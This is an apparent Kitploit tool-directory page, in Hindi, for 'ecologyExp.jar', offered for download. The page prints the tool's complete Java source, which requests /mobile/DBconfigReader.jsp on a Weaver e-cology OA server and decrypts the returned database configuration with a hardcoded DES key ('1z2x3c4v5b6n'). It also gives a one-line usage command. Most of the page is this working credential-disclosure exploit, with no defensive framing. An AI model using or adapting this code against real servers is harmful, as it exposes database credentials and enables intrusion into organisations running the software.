Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ecologyExp.jar — वीवर OA डेटाबेस कॉन्फ़िगरेशन फ़ाइल पढ़ना | Kitploit
उपकरण/GitHubGitHub/ianxtianxt/ecologyexp.jar
एन्क्रिप्शन/डिक्रिप्शन उपकरणभेद्यता विश्लेषणवेब एप्लिकेशन शोषणडेटा निष्कासनजानकारी एकत्र करनापेनिट्रेशन टेस्टिंग
GitHubianxtianxt/ecologyexp.jar

ecologyExp.jar

वीवर OA डेटाबेस कॉन्फ़िगरेशन फ़ाइल पढ़ना

रिपॉजिटरी देखें
17106 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

ecologyExp.jar

फैनवेई OA डेटाबेस कॉन्फ़िगरेशन फ़ाइल पढ़ना java -jar ecologyExp.jar http://127.0.0.1

स्रोत कोड package com.test;

import org.apache.http.HttpEntity; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClientBuilder; import org.apache.http.util.EntityUtils;

import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; import java.security.SecureRandom;

public class ReadDbConfig { private final static String DES = "DES"; private final static String key = "1z2x3c4v5b6n";

root@kitploit:~
public static void main(String[] args) throws Exception {
    if(args[0]!=null&& args[0].length() !=0){
        String url = args[0]+"/mobile/DBconfigReader.jsp";
        System.out.println(ReadConfig(url));
    }else{
        System.err.print("use: java -jar ecologyExp  http://127.0.0.1");
    }
}

private static String ReadConfig(String url) throws Exception {
    CloseableHttpClient httpClient = HttpClientBuilder.create().build();
    HttpGet httpGet = new HttpGet(url);
    CloseableHttpResponse response = httpClient.execute(httpGet);
    HttpEntity responseEntity = response.getEntity();

    byte[] res1 = EntityUtils.toByteArray(responseEntity);

    byte[] data = subBytes(res1,10,res1.length-10);

    byte [] finaldata =decrypt(data,key.getBytes());

    return (new String(finaldata));
}

private static byte[] decrypt(byte[] data, byte[] key) throws Exception {

    SecureRandom sr = new SecureRandom();
    DESKeySpec dks = new DESKeySpec(key);
    SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(DES);
    SecretKey securekey = keyFactory.generateSecret(dks);
    Cipher cipher = Cipher.getInstance(DES);
    cipher.init(Cipher.DECRYPT_MODE, securekey, sr);

    return cipher.doFinal(data);
}

public static byte[] subBytes(byte[] src, int begin, int count) {
    byte[] bs = new byte[count];
    System.arraycopy(src, begin, bs, 0, count);
    return bs;
}

}

टूल डाउनलोड करें